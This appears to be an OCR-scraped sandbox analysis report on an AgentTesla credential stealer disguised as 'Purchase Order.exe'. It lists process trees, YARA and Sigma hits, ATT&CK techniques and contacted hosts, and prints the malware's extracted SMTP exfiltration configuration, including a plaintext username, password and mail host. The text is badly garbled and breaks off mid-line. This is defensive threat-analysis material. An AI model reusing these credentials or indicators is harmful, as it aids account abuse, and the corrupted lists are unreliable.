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Analysis Process: Purchase Order.exePID: 1800, Parent PID: 3428

General
File Activities
Registry Activities

Analysis Process:

General
File Activities

Analysis Process:

General

Analysis Process:

General
File Activities

Analysis Process:

General

Analysis Process:

General

File Activities
File Created
File Read

Analysis Process:

General
File Activities

File Created

File Read
Registry Activities

Analysis Process:

General

File Activities
File Created
File Read

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Disassembly

cmd.exePID: 6416, Parent PID: 1800

conhost.exePID: 6424, Parent PID: 6416

timeout.exePID: 6456, Parent PID: 6416

MSBuild.exePID: 6636, Parent PID: 1800

MSBuild.exePID: 6644, Parent PID: 1800

Puizg.exePID: 7008, Parent PID: 3616

Puizg.exePID: 7144, Parent PID: 3616

cmd.exePID: 6204, Parent PID: 7008
conhost.exePID: 1568, Parent PID: 6204
timeout.exePID: 4288, Parent PID: 6204
cmd.exePID: 5056, Parent PID: 7144
conhost.exePID: 5108, Parent PID: 5056

timeout.exePID: 6028, Parent PID: 5056
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Windows Analysis Report

Purchase Order.exe

Overview
General Information Detection Signatures Classification
Sample Purchase Order.exe
Name: MALICIOUS Found malware configuration
Analysis ID: 618941 Icon mismatch, binary includes an i...
MDS: d88a146f731e00.. Malicious sample detected (through...
SHAL:
R EEBAERID, Yara detected AgentTesla
SHA256: d08b7126b81c09. ) )
Sigma detected: MSBuild connects ...
Tags: agenttesla J exe
- . Yara detected MSILDownloaderGen...
nfos: nBQt
Multi AV Scanner detection for drop...
&0 omemm

Tries to steal Mail credentials (via fi...

AgentTesla

Initial sample is a PE file and has a...

Score: 100

Range: 0- 100 Tries to harvest and steal Putty / W...
Whitelisted: false Tries to harvest and steal ftp login c...
Confidence: 100%

.NET source code contains potentia...

Process Tree

= System is w10x64
. ﬁ Purchase Order.exe (PID: 1800 cmdline: "C:\Users\user\Desktop\Purchase Order.exe" MD5: D88A146F731E00B42947EC060F3D4F43)
o @l cmd.exe (PID: 6416 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 20 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [E timeout.exe (PID: 6456 cmdline: timeout 20 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)
. @ MSBuild.exe (PID: 6636 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)
. @ MSBuild.exe (PID: 6644 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)
. @ Puizg.exe (PID: 7008 cmdline: "C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe" MD5: D88A146F731E00B42947EC060F3D4F43)
cmd.exe (PID: 6204 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 20 MD5: F3BDBE3BB6F734E357235F4D5898582D)

. conhost.exe (PID: 1568 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [E timeoutexe (PID: 4288 cmdline: timeout 20 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)
. @ Puizg.exe (PID: 7144 cmdline: "C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe" MD5: D88A146F731E00B42947EC060F3D4F43)
cmd.exe (PID: 5056 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 20 MD5: F3BDBE3BB6F734E357235F4D5898582D)

. conhost.exe (PID: 5108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [E timeoutexe (PID: 6028 cmdline: timeout 20 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)
= cleanup

Lt LT

Malware Configuration

Threatname: Agenttesla

"Exfil Mode": "SMTP",

"Username": "finans@pilotgarage.com”,
"Password": "Fnns01Pg16",

"Host": "mail.pilotgarage.com”

Yara Signatures
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Initial Sample

Source

Purchase Order.exe

Purchase Order.exe

Dropped Files

Source

C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe

C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe

Memory Dumps

Source

00000011.00000002.504132970.0000000000402000.00000
040.00000400.00020000.00000000.sdmp

00000011.00000002.504132970.0000000000402000.00000
040.00000400.00020000.00000000.sdmp

00000000.00000002.372147247.0000000003ADC000.00000
004.00000800.00020000.00000000.sdmp

00000000.00000002.372147247.0000000003ADC000.00000
004.00000800.00020000.00000000.sdmp

00000000.00000002.372093079.0000000003A4D000.00000
004.00000800.00020000.00000000.sdmp

Unpacked PEs

Source

20.2.Puizg.exe.fa0000.0.unpack

20.2.Puizg.exe.fa0000.0.unpack

0.2.Purchase Order.exe.740000.0.unpack

0.2.Purchase Order.exe.740000.0.unpack

0.0.Purchase Order.exe.740000.0.unpack
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Rule

SUSP_PE_Discor
d_Attachment_Oct
211

JoeSecurity_Gene
ricDownloader_1

Rule

SUSP_PE_Discor
d_Attachment_Oct
211

JoeSecurity_Gene
ricDownloader_1

Rule

JoeSecurity_Agent
Tesla_1

JoeSecurity_Agent
Tesla_2

JoeSecurity_Agent
Tesla_1

JoeSecurity_Agent
Tesla_2

JoeSecurity_Agent
Tesla_1

Description

Author

Detects suspicious = Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Yara detected
Generic
Downloader

Description

Joe Security

Author

Detects suspicious = Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Yara detected
Generic
Downloader

Description

Yara detected
AgentTesla

Yara detected
AgentTesla

Yara detected
AgentTesla

Yara detected
AgentTesla

Yara detected
AgentTesla

Joe Security

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 11 entries

Rule

SUSP_PE_Discor
d_Attachment_Oct
211

JoeSecurity_Gene
ricDownloader_1

SUSP_PE_Discor
d_Attachment_Oct
211

JoeSecurity_Gene
ricDownloader_1

SUSP_PE_Discor
d_Attachment_Oct
211

Description

Author

Detects suspicious Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Yara detected
Generic
Downloader

Joe Security

Detects suspicious = Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Yara detected
Generic
Downloader

Joe Security

Detects suspicious = Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Strings

e Ox1bb1:$x1: https://cdn.discordapp.com/attachments/

Strings

e Ox1bb1:$x1: https://cdn.discordapp.com/attachments/

Strings

Strings

e Ox1bb1:$x1: https://cdn.discordapp.com/attachments/

e 0Ox1bb1:$x1: https://cdn.discordapp.com/attachments/

e 0x1bb1:$x1: https://cdn.discordapp.com/attachments/
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Source Rule Description Author Strings

Click to see the 46 entries

Sigma Signatures

Sigma detected: MSBuild connects to smtp port

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for dropped file

Networking

Yara detected MSILDownloaderGeneric

Yara detected Generic Downloader

System Summary

Malicious sample detected (through community Yara rule)

Initial sample is a PE file and has a suspicious name

=
=

.NET source code contains very large array initializations

Executable has a suspicious name (potential lure to open the executable)

Data Obfuscation

.NET source code contains potential unpacker

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
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Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Stealing of Sensitive Information

Yara detected AgentTesla

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality

Yara detected AgentTesla

Mitre Att&ck Matrix
Initi
HE Execution Persistence
Access
valid
Accounts Windows Registry
Manageme Run Keys /
nt Startup
Instrument  Folder
ation
Default Scheduled  Boot or
Accounts  Task/Job Logon
Initializatio
n Scripts
Domain At (Linux) Logon
Accounts Script
(Windows)
Local At Logon
Accounts  (Windows)  Script
(Mac)
Cloud Cron Network
Accounts Logon
Script
Replication Launchd Rc.commo
Through n
Removable
Media
External Scheduled  Startup
Remote Task Items
Services
Drive-by Command  Scheduled
Compromis and Task/Job
e Scripting
Interpreter

Behavior Graph
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Privilege

Escalation

Process
Injection

Registry
Run Keys /
Startup
Folder

Logon
Script
(Windows)

Logon
Script
(Mac)

Network
Logon
Script

Rc.commo
n

Startup
Items

Scheduled
Task/Job

Defense
Evasion

Disable or
Modify
Tools

Deobfuscat
e/Decode
Files or
Information

Obfuscated
Files or
Information
Software
Packing

Timestomp

Masqueradi
ng

Virtualizatio
n/Sandbox
Evasion

Process
Injection

Credential
Access

oS
Credential
Dumping

Input
Capture

Credentials
in Registry

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

Discovery

File and
Directory
Discovery

System
Information
Discovery

Query
Registry

Security
Software
Discovery

Process
Discovery

Virtualizatio
n/Sandbox
Evasion

Application
Window
Discovery

Remote
System
Discovery

Lateral
Movement

Remote
Services

Remote
Desktop
Protocol

SMB/Wind
ows Admin
Shares

Distributed
Component
Object
Model

SSH

VNC

Windows
Remote
Manageme
nt

Shared
Webroot

Collection

Archive
Collected
Data

Data from
Local
System

Email
Collection

Input
Capture

Keylogging

GUI Input
Capture

Web Portal
Capture

Credential
API|
Hooking

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Exfiltration
Over
Alternative
Protocol

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Command
and
Control

Ingress
Tool
Transfer

Encrypted
Channel

Non-
Standard
Port

Non-
Application
Layer
Protocol

Application
Layer
Protocol

Multiband
Communic
ation

Commonly
Used Port

Application
Layer
Protocol

Network
Effects

Eavesdrop
on Insecure
Network
Communic
ation

Exploit SS7
to Redirect
Phone
Calls/SMS

Exploit SS7
to Track
Device
Location

SIM Card
Swap

Manipulate
Device
Communic
ation

Jamming or

Denial of
Service

Rogue Wi-
Fi Access
Points

Downgrade
to Insecure
Protocols

Remote
Service
Effects

Remotely
Track
Device
Without
Authorizati
on

Remotely
Wipe Data
Without
Authorizati
on

Obtain
Device
Cloud
Backups

Impact

Modify
System
Partition

Device
Lockout

Delete
Device
Data

Carrier
Billing
Fraud

Manipulate
App Store
Rankings
or Ratings

Abuse
Accessibilit
y Features

Data
Encrypted
for Impact

Generate
Fraudulent
Advertising
Revenue
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Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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ZTGILHXQB

Purchase

Order

HH 0 Type here to search i}

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

@ No Antivirus matches

Dropped Files

Source

C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe

Unpacked PE Files

Source

17.2.MSBuild.exe.400000.0.unpack

Domains

@ No Antivirus matches

URLs
Source
hitp://127.0.0.1:HTTP/1.1

Copyright Joe Security LLC 2022

Detection
31%
Detection Scanner
100% Avira
Detection

0%

Scanner Label Link
ReversinglLabs ByteCode-
MSIL.Trojan.Agent
Tesla
Label Link Download
TR/Spy.Gen8 Download File
Scanner Label Link

Avira URL Cloud safe
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Source
http://fedir.comsign.co.il/cr/ComSignSecuredCA.crl0
http://www.certplus.com/CRL/class3.crl0
http://www.e-me.lv/repository0
http://DGeKzF.com
http://www.acabogacia.org/docO
http://crl.chambersign.org/chambersroot.crl0
http://ocsp.suscerte.gob.ve0
http://www.postsignum.cz/crl/psrootqgca2.crl02
http://crl.dhimyotis.com/certignarootca.crl0
http://www.chambersign.orgl
http://www.pkioverheid.nl/policies/root-policy0
http://www.suscerte.gob.ve/lcrO#
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0
http://crl.ssc.It/root-c/cacrl.crl0

http:// postsignum.ttc.cz/crl/psrootqca2.crl0
http://www.trustcenter.de/crl/v2/tc_class_3_ca_ll.crl
http://ca.disig.sk/ca/crl/ca_disig.crl0
http://www.certplus.com/CRL/class3P.crl0
http://www.sajatypeworks.com
http://www.founder.com.cn/cn/cThe
http://www.suscerte.gob.ve/dpcO
http://www.certplus.com/CRL/class2.crl0
http://www.disig.sk/ca/crl/ca_disig.crl0
http://www.defence.gov.au/pki0
http://www.galapagosdesign.com/DPlease
http://www.sk.ee/cps/O
http://www.globaltrust.info0=
http://www.urwpp.deDPlease
http://www.zhongyicts.com.cn
http://cps.root-x1.letsencrypt.org0
http://policy.camerfirma.comO
http://www.ssc.It/cps03
http:/focsp.pki.gva.es0O
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?
http://https://eD1SuZymOZStl.or
http://ca.mtin.es/mtin/ocsp0
http://cps.letsencrypt.org0
http://crl.ssc.It/root-b/cacrl.crlo

http://web.ncdc.gov.sa/crl/nrcacombl.crl0

http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G

http://https://wwww.certigna.fr/autorites/Om

http://www.dnie.es/dpcO

http:/fwww.ica.co.il/repository/cps/PersonallD_Practice_Statement.pdf0

http:{/https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-

0.4.3.6.ziphttps://www
http:/fca.mtin.es/mtin/DPCyPoliticasO
http:/fwww.globaltrust.infoO
http:/fwww.certplus.com/CRL/class3TS.crl0
http:{fwww.carterandcone.coml
http://ac.economia.gob.mx/last.crl0G
http://https:/iwww.catcert.net/verarrel
http://www.disig.sk/ca0f
http://www.sk.ee/juur/crl/0
http://crl.chambersign.org/chambersignroot.crl0
http://crl.xrampsecurity.com/XGCA.crl0
http:// certs.oati.net/repository/OATICA2.crl0
http://crl.oces.trust2408.com/oces.crl0
http://www.quovadis.omO

http://crl.ssc.It/root-a/cacrl.crlo

Copyright Joe Security LLC 2022

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

URL Reputation

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

URL Reputation

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

Link
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Source

http:// certs.oaticerts.com/repository/OATICA2.crl

http://www.trustdst.com/certificates/policy/ACES-index.html0

http:// certs.oati.net/repository/OATICA2.crt0

http:/fwww.accv.es00

http://www.pkioverheid.nl/policies/root-policy-G20

http://www.e-trust.oe/CPS/QNcerts
http://ocsp.ncdc.gov.sa0
http://mail.pilotgarage.com

http://fedir.comsign.co.il/crl/ComSignCA.crl0

http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0

http://web.ncdc.gov.sa/crl/nrcapartal.crl

http://www.founder.com.cn/cn/bThe

Domains and IPs

Contacted Domains

Name

cdn.discordapp.com

mail.pilotgarage.com

URLs from Memory and Binaries
Name

http://127.0.0.1:HTTP/1.1

IP Active Malicious

Detection

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%

162.159.129.233 true false

5.250.241.50 true true

Source

MSBuild.exe, 00000011.00000002.508094226
.0000000003001000.00000004.00000800.0002
0000.00000000.sdmp

http://fedir.comsign.co.il/cr/ComSignSecuredCA.crl0 MSBuild.exe, 00000011.00000003.399506680

http://www.certplus.com/CRL/class3.crl0

http://www.e-me.lv/repository0

http:{//DGeKzF.com

http:/fwww.acabogacia.org/docO

http:f/crl.chambersign.org/chambersroot.crl0

http:/focsp.suscerte.gob.ve0

http://www.postsignum.cz/crl/psrootqgca2.crl02

http://crl.dhimyotis.com/certignarootca.crl0
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.00000000064AA000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.397896256.000000000647F000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398047213
.0000000006DD8000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.397677340.0000000006DC2000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000002.508094226
.0000000003001000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398206126
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399413894.0000000006D45000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398338255.0000000006D3F000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399053031
.0000000006D22000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

Scanner Label
URL Reputation safe
URL Reputation safe
URL Reputation safe
URL Reputation safe
URL Reputation safe
URL Reputation safe
URL Reputation safe
Avira URL Cloud safe
URL Reputation safe
URL Reputation safe
URL Reputation safe

URL Reputation safe

Antivirus Detection

Antivirus Detection

e Avira URL Cloud: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Avira URL Cloud: safe

.

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Link

Reputation
high

unknown

Reputation

low

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0

http://www.chambersign.orgl

http://www.pkioverheid.nl/policies/root-policy0

http://repository.swisssign.com/0

http://www.fontbureau.com/designers

http://www.suscerte.gob.ve/lcro#

http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0

http://crl.ssc.It/root-c/cacrl.crl0

http:// postsignum.ttc.cz/crl/psrootgca2.crl0

http:/fwww.trustcenter.de/crl/v2/tc_class_3_ca_ll.crl

http:f/ca.disig.sk/ca/crl/ca_disig.crlO

http://www.certplus.com/CRL/class3P.crl0

http://www.sajatypeworks.com

http://www.founder.com.cn/cn/cThe

Copyright Joe Security LLC 2022

Source

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398206126.0000000006449000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398032121
.0000000006466000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398159493.0000000006466000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399208416.0000000006D28000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.399053031
.0000000006D22000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398338255.0000000006D3F000.00
000004.00000800.00020000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399413894.0000000006D45000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398338255.0000000006D3F000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398206126
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397677340
.0000000006DC2000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399053031
.0000000006D22000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398338255.0000000006D3F000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397677340
.0000000006DC2000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B892000.00000004.000008
00.00020000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

Reputation

high

unknown

unknown

high

high

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

http://www.suscerte.gob.ve/dpcO

http://www.certeurope.fr/reference/root2.crl0

http://www.certplus.com/CRL/class2.crl0

http://www.disig.sk/ca/crl/ca_disig.crl0

http:ff
eca.hinet.net/repository/Certs/IssuedToThisCA.p7b05

http://www.defence.gov.au/pki0

http://www.galapagosdesign.com/DPlease

http://www.sk.ee/cps/O

http://www.globaltrust.info0=

http://www.anf.es

http://
www.pki.admin.ch/cps/CPS_2_16_756_1_17_3 1_0.p
dfo9

http://www.urwpp.deDPlease

http://www.zhongyicts.com.cn

hitp://
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http:i/pki.registradores.org/normativa/index.htmo

http:{/cps.root-x1.letsencrypt.org0

http://policy.camerfirma.comO

Copyright Joe Security LLC 2022

Source

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399413894.0000000006D45000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398338255.0000000006D3F000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397896256
.000000000647F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398206126
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398325450
.0000000006D3B000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398231155.0000000006D2E000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399451261
.0000000006D38000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399030833.0000000006D35000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398231155
.0000000006D2E000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398014139
.0000000006461000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399053031
.0000000006D22000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
1704662.00000000029B1000.00000004.000008
00.00020000.00000000.sdmp, Puizg.exe, 00
000014.00000002.507585311.00000000032310
00.00000004.00000800.00020000.00000000.sdmp,
Puizg.exe, 00000017.00000002.507971683.000000
0002681000.00000004.00000800.00020000.00
000000.sdmp

MSBuild.exe, 00000011.00000003.397677340
.0000000006DC2000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000002.513485610
.00000000063B0000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000002.509801704.0000000003357000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398206126
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398106072.0000000006454000.00
000004.00000800.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Reputation

unknown

high

unknown

unknown

high

unknown

unknown

unknown

low

high

high

unknown

unknown

high

high

unknown

unknown
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Name

http://www.ssc.It/cps03

http:/focsp.pki.gva.es0

http://www.anf.es/es/address-direccion.html

http://https://www.anf.es/address/)1(0&

http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?

http://https://eD1SuZymOZStl.or

http://https://stackoverflow.com/q/14436606/23354

http://ca.mtin.es/mtin/ocsp0

http://cps.letsencrypt.org0

http://crl.ssc.It/root-b/cacrl.crlo

http://web.ncdc.gov.sa/crl/nrcacomb1.crl0

http:{fwww.certicamara.com/dpc/0Z

http://www.uce.gub.uy/informacion-
tecnica/politicas/cp_acrn.pdf0G

http://crl.pki.wellsfargo.com/wsprca.crl0

Copyright Joe Security LLC 2022

Source

MSBuild.exe, 00000011.00000003.398106072
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398014139.0000000006461000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.397677340
.0000000006DC2000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399208416
.0000000006D28000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399053031.0000000006D22000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398206126
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399053031.0000000006D22000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000002.508094226
.0000000003001000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
1780538.0000000002A0D000.00000004.000008
